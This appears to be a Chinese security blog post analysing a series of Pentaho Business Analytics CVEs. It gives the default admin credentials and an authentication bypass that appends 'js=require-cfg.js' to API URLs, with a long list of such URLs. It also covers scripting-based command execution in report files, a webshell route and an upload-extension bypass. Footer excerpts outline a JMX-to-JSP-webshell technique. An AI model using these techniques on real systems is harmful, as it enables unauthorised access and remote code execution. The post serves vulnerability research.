Pentaho Business Analytics CVE-2021-31599命令执行等系列漏洞分析

VSole2021-11-16 21:43:30

漏洞信息

Pentaho Business Analytics商业分析解决方案提供现代化的、简单和交互式的方式,使商业用户可以访问、挖掘和混合所有类型和大小的数据。由于先进的分析方案越来越多,从基本的报表到预测建模,用户可以从多个维度分析和可视化数据,并且最大限度减小对IT的依赖。同时,实际的移动设计体验使得用户无论身处何地,都有很高的工作效率。

该软件最近爆出存在未授权认证SQL注入等一系列漏洞,主要信息如下:

  • CVE-2021-31599 (CVSS score: 9.9) - Remote Code Execution through Pentaho Report Bundles
  • CVE-2021-31600 (CVSS score: 4.3) - Jackrabbit User Enumeration
  • CVE-2021-31601 (CVSS score: 7.1) - Insufficient Access Control of Data Source Management
  • CVE-2021-31602 (CVSS score: 5.3) - Authentication Bypass of Spring APIs
  • CVE-2021-34684 (CVSS score: 9.8) - Unauthenticated SQL Injection
  • CVE-2021-34685 (CVSS score: 2.7) - Bypass of Filename Extension Restrictions

可以从官网下载相关版本进行环境搭建,安装完毕后默认管理员账密为`admin:Password`,启动软件:

使用`start-pentaho-debug.bat`手动启动服务可远程进行调试,端口为8044。

CVE-2021-31602

`C:\Pentaho\server\pentaho-server\pentaho-solutions\system\applicationContext-spring-security.xml`定义了API接口的处理规则,注意到其中以`*require-cfg.js`结尾的接口可以以`Anonymous`身份访问。

登录页面,许多js都是以`require-cfg.js`结尾,应该是为了考虑静态文件访问而添加了对应的规则。

找一个API请求,在URL后添加`js=require-cfg.js`,成功绕过认证。

列举出一些API列表。

http://localhost:8080/pentaho/api/version/show?js=require-cfg.jshttp://localhost:8080/pentaho/api/version/softwareUpdates?js=require-cfg.jshttp://localhost:8080/pentaho/api/emailconfig/isValid?js=require-cfg.jshttp://localhost:8080/pentaho/api/authorization/action/isauthorized?js=require-cfg.jshttp://localhost:8080/pentaho/api/userroledao/userRoles?js=require-cfg.jshttp://localhost:8080/pentaho/api/system/locale?js=require-cfg.jshttp://localhost:8080/pentaho/api/system/timezones?js=require-cfg.jshttp://localhost:8080/pentaho/api/system/executableTypes?js=require-cfg.jshttp://localhost:8080/pentaho/api/theme/list?js=require-cfg.jshttp://localhost:8080/pentaho/api/theme/active?js=require-cfg.jshttp://localhost:8080/pentaho/api/userrolelist/users?js=require-cfg.jshttp://localhost:8080/pentaho/api/userrolelist/roles?js=require-cfg.jshttp://localhost:8080/pentaho/api/userrolelist/allRoles?js=require-cfg.jshttp://localhost:8080/pentaho/api/userrolelist/systemRoles?js=require-cfg.jshttp://localhost:8080/pentaho/api/userrolelist/extraRoles?js=require-cfg.jshttp://localhost:8080/pentaho/api/userrolelist/permission-users?js=require-cfg.jshttp://localhost:8080/pentaho/api/userrolelist/permission-roles?js=require-cfg.jshttp://localhost:8080/pentaho/api/scheduler/state?js=require-cfg.jshttp://localhost:8080/pentaho/api/scheduler/jobinfotest?js=require-cfg.jshttp://localhost:8080/pentaho/api/scheduler/blockout/blockoutjobs?js=require-cfg.jshttp://localhost:8080/pentaho/api/scheduler/blockout/hasblockouts?js=require-cfg.jshttp://localhost:8080/pentaho/api/scheduler/blockout/shouldFireNow?js=require-cfg.jshttp://localhost:8080/pentaho/api/scheduler/generatedContentForSchedule?js=require-cfg.jshttp://localhost:8080/pentaho/api/repos/executableTypes?js=require-cfg.jshttp://localhost:8080/pentaho/api/plugin-manager/overlays?js=require-cfg.jshttp://localhost:8080/pentaho/api/mantle/locale?js=require-cfg.jshttp://localhost:8080/pentaho/api/mantle/isAuthenticated?js=require-cfg.jshttp://localhost:8080/pentaho/api/mantle/getAdminContent?js=require-cfg.jshttp://localhost:8080/pentaho/api/mantle/settings?js=require-cfg.jshttp://localhost:8080/pentaho/api/mantle/registeredPlugins?js=require-cfg.jshttp://localhost:8080/pentaho/api/service/assignment?js=require-cfg.jshttp://localhost:8080/pentaho/api/repo/files/reservedCharacters?js=require-cfg.jshttp://localhost:8080/pentaho/api/repo/files/generatedContentForSchedule?js=require-cfg.jshttp://localhost:8080/pentaho/api/repo/files/canAdminister?js=require-cfg.jshttp://localhost:8080/pentaho/api/repo/files/reservedCharactersDisplay?js=require-cfg.jshttp://localhost:8080/pentaho/api/session/userName?js=require-cfg.jshttp://localhost:8080/pentaho/api/session/workspaceDirForUser/{user}?js=require-cfg.jshttp://localhost:8080/pentaho/api/session/setredirect?js=require-cfg.jshttp://localhost:8080/pentaho/api/session/userWorkspaceDir?js=require-cfg.js

CVE-2021-34684

`/pentaho/api/repos/dashboards/editor`接口可执行SQL语句。

CVE-2021-31599

使用`Pentaho Business Analytics`支持报表功能设计和保存功能,可以通过WEB上传并编辑Report报表,名称为`Pentaho Report`文件。

使用`\pentaho\design-tools\report-designer\report-designer.exe`程序可对PRPT文件进行设计,后缀名为PRPT。

打开`Pie.prpt`示例文件,双击饼图找到Scripting设置项目。

支持的语法有`beanshell`、`groovy`等,这里使用beanshell,输入语句。保存文件使用网页打开。

命令被成功运行,权限为`Local Service`。

可以使用groovy语法直接获取webshell。

CVE-2021-31600

用户认证后可以获取用户列表,CVE-2021-31602无法绕过本接口。

CVE-2021-31601

用户认证后可获取用户配置信息,CVE-2021-31602无法绕过本接口。

CVE-2021-34685

使用`UploadService`接口对文件上传后缀名做了限制,但可以使用`filename.jsp.`绕过检查,最后在`\server\pentaho-server\pentaho-solutions\system\metadata\csvfiles`目录下写入jsp文件,由于无法目录穿越,漏洞影响有限。

小结

1、从实测效果来看,认证绕过漏洞适用的API范围还是比较广的,但针对某些核心业务接口在后续业务处理时会出错,导致能执行的功能有限。以`报告文件`上传接口为例,可以绕过检查,但服务器在后续处理时由于定位不到用户`ID`,只能报错退出。

2、创建用户接口不会返回401错误,但无法创建用户。

3、默认`anonymousUser`在`jackrabbit`认证时出错,不具备workspace访问权限,这也导致很多接口无法正常执行功能。

localhostpentaho
本作品采用《CC 协议》,转载必须注明作者和本文链接
Pentaho Business Analytics CVE-2021-31599远程命令执行等系列漏洞分析。
一款CMS指纹识别工具
2023-01-28 11:49:30
由Go语言实现的一款CMS指纹识别工具。
java审计之ofcms
2022-12-30 11:05:58
java审计之ofcms
一次从jmx到rce
2022-12-20 13:54:29
jmx已知的利用方式有javax.management.loading.MLet加载远程类rce,但是目标不出网必须用其他方式了。考虑到tomcat,想起来陈师傅写过的《几个Jolokia RCE 的“新”利用方式》通过tomcat的createStandardHost配合AccessLogValue进行rce。利用如下先创建Host为test.com?Catalina:type=Host,host=test.com然后tomcat的valve中就有了test.com的部署之后的结果修改host为test.com之后就可以访问根目录下的任意文件那么只需要写入一个jsp文件就可以getshell了。写入文件需要用AccessLogValue修改AccessLogValue的属性suffix .jspprefix aafileDateFormat .yyyy-MM-ddpattern %h %l %u %t "%r" %s %b "%{Referer}i" "%{User-Agent}i"directory /tmp/
反弹shell命令速查
2022-07-28 06:13:42
反弹shell命令速查
查命令绝对路径: which用于查找并显示给定命令的绝对路径,环境变量中PATH参数也可以被查出来。
渗透技巧总结
2022-01-23 13:30:33
整理一些渗透测试相关技巧总结~
实验一利用case语句编写脚本,满足下列要求1.执行create时根据userfile和passfile建立用户
本文将对EmpireCMS(帝国cms)的漏洞进行分析及复现。代码分析这一块主要还是借鉴了大佬们的一些分析思想,这里对大佬们提供的思路表示衷心的感谢。
VSole
网络安全专家